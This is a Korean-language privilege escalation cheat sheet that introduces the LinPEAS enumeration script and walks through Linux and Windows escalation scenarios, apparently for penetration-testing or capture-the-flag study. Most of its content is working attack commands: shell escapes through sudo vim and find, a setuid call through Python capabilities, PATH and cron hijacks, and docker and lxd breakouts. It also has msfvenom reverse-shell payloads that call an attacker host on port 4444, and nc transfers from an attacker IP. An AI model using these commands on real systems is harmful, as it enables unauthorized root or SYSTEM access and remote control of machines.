LinPEAS는 Linux Privilege Escalation Awesome Script의 줄임말로,
🔍 리눅스 시스템에서 권한 상승(Privilege Escalation) 가능성을 자동으로 탐색해주는 스크립트입니다.
| 항목 | 설명 |
|---|---|
| 이름 | LinPEAS (Linux Privilege Escalation Awesome Script) |
| 목적 | Linux 환경에서 루트 권한 상승에 사용할 수 있는 취약점, 설정 미스, 백도어 등을 자동으로 찾아줌 |
| 언어 | Bash Script |
| 사용 환경 | 리눅스 타깃 시스템에 업로드 후 실행 |
일반 사용자 권한으로 접속한 리눅스 시스템에서...
sudo, capabilities 등)➡️ 이런 권한 상승 기회들을 자동으로 탐지
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
# 공격자 측
nc -lvp 4444 < linpeas.sh
# 대상 시스템
nc <attacker_ip> 4444 > linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
/usr/bin/find → 루트 쉘 가능 여부sudo 명령: sudo tar → 권한 상승 가능PATH에 쓰기 가능한 디렉터리LinPEAS는 내부적으로 다음과 같은 것들을 체크합니다:
| 체크 항목 | 설명 |
|---|---|
| SUID/SGID | 루트 권한으로 실행되는 명령 찾기 |
| Sudo 권한 | 특정 명령을 sudo 없이 실행 가능한지 |
| Cron Jobs | 주기적으로 실행되는 스크립트가 권한 상승 트리거인지 |
| 패치 정보 | 커널 버전 기반 취약점 여부 확인 |
| 환경 변수 | PATH, LD_PRELOAD 등 우회 가능 여부 |
| 서비스 설정 | 시스템 서비스에 취약한 설정 여부 |
www-dataroot로 권한 상승whoami
uname -a
hostname
id
sudo -l
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null
ps aux | grep root
env
sudo -l
Matching Defaults entries for www-data on ubuntu:
(ALL) NOPASSWD: /usr/bin/vim
→ 패스워드 없이 vim을 루트 권한으로 실행 가능!
vim은 쉘을 실행할 수 있음:
:!sh
또는 더 직접적으로:
sudo /usr/bin/vim -c ':!/bin/bash'
sudo /usr/bin/vim -c ':!/bin/bash'
whoami
→ root
🔓 루트 쉘 획득 완료
IIS APPPOOL\DefaultAppPoolNT AUTHORITY\SYSTEM으로 권한 상승whoami
hostname
systeminfo
# 권한 있는 서비스 확인
Get-Service | Where-Object { $_.StartType -eq "Auto" -and $_.Status -eq "Running" }
# 권한이 낮은 사용자로 실행되는 서비스가 SYSTEM 권한으로 실행되며,
# 실행파일 경로에 공백이 있거나, 권한이 잘못 설정된 경우 확인
발견:
서비스명: VulnService
실행 경로: C:\Program Files\Vuln Service\vulnsvc.exe
권한: SYSTEM
하지만! C:\Program Files\Vuln Service 폴더가 모든 사용자 쓰기 가능!
→ 이 경로에 악성 vulnsvc.exe를 대체해 넣으면 SYSTEM으로 실행됨
로컬에서 리버스 쉘 payload 생성:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe > vulnsvc.exe
파일 업로드:
certutil, nc, python http.server 등으로 전송대상 서비스 실행 재시작 (서비스가 재부팅되거나 자동으로 시작될 때 실행됨)
리버스 연결 대기:
nc -nvlp 4444
SYSTEM 권한 획득
| 항목 | 리눅스 | 윈도우 |
|---|---|---|
| 사용자 정보 | whoami, id | whoami, hostname |
| 커널/시스템 정보 | uname -a | systeminfo |
| 권한 있는 파일 | find / -perm -u=s, sudo -l, getcap | 서비스 실행 파일 권한, unquoted paths |
| 크론탭/서비스 | crontab -l, /etc/init.d | Get-Service, schtasks |
| 환경 변수 | env, PATH | Get-ChildItem Env: |
| 취약한 소프트웨어 | 버전 확인 후 CVE 검색 | 마찬가지 |
find / -perm -4000 -type f 2>/dev/null
-rwsr-xr-x 1 root root 123456 /usr/bin/find
/usr/bin/find . -exec /bin/sh \; -quit
whoami # root
cap_setuid, cap_net_raw 등)getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid+ep
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
whoami # root
ls, cp 같은 명령어를 절대 경로 없이 실행 시PATH 환경변수를 조작해서 내가 만든 가짜 바이너리 실행sudo /opt/run.sh # 내부에서 ls 실행함
echo -e '#!/bin/bash\n/bin/bash' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
sudo /opt/run.sh
whoami # root
ls -l /etc/cron* /var/spool/cron/crontabs/
# /etc/cron.d/backup 실행 스크립트가 /tmp/backup.sh (root가 실행함)
ls -l /tmp/backup.sh # 일반 사용자 쓰기 가능
echo "/bin/bash" > /tmp/backup.sh
chmod +x /tmp/backup.sh
# 기다리면 루트 쉘
id
# docker 그룹 포함 여부
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
whoami # root
id # lxd 그룹 있음
# 공격자 시스템에서 alpine 이미지 만들고 tar로 압축 후 대상에 전송
lxc image import lxd.tar.gz --alias pwned
lxc init pwned pwned -c security.privileged=true
lxc config device add pwned mydev disk source=/ path=/mnt/root recursive=true
lxc start pwned
lxc exec pwned -- /bin/sh
" "(따옴표)가 없고 경로에 공백이 있으면,C:\Program.exe 실행 가능)wmic service get name,pathname,startmode
PathName: C:\Program Files\Vuln Service\service.exe
# C:\Program.exe에 리버스쉘 넣기 → 서비스 재시작
.msi 파일을 SYSTEM 권한으로 실행되게 설정해 둔 정책reg query HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
두 키 모두 값이 1이면 취약
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f msi > shell.msi
msiexec /quiet /qn /i shell.msi
accesschk.exe -uwcqv "Users" "C:\Program Files\VulnService\"
accesschk.exe -uwcqv "Users" *
Procmon, DLL dependency viewer 등)| 구분 | 시나리오 | 키워드 |
|---|---|---|
| 리눅스 | SUID | find / -perm -4000 |
| 리눅스 | Capabilities | getcap |
| 리눅스 | PATH hijack | PATH= |
| 리눅스 | 크론탭 | crontab -l |
| 리눅스 | Docker/LXD | docker, lxd 그룹 |
| 윈도우 | Unquoted Path | "Program Files" |
| 윈도우 | AlwaysInstallElevated | reg query |
| 윈도우 | Service 권한 설정 | accesschk.exe |
| 윈도우 | DLL Hijack | Procmon |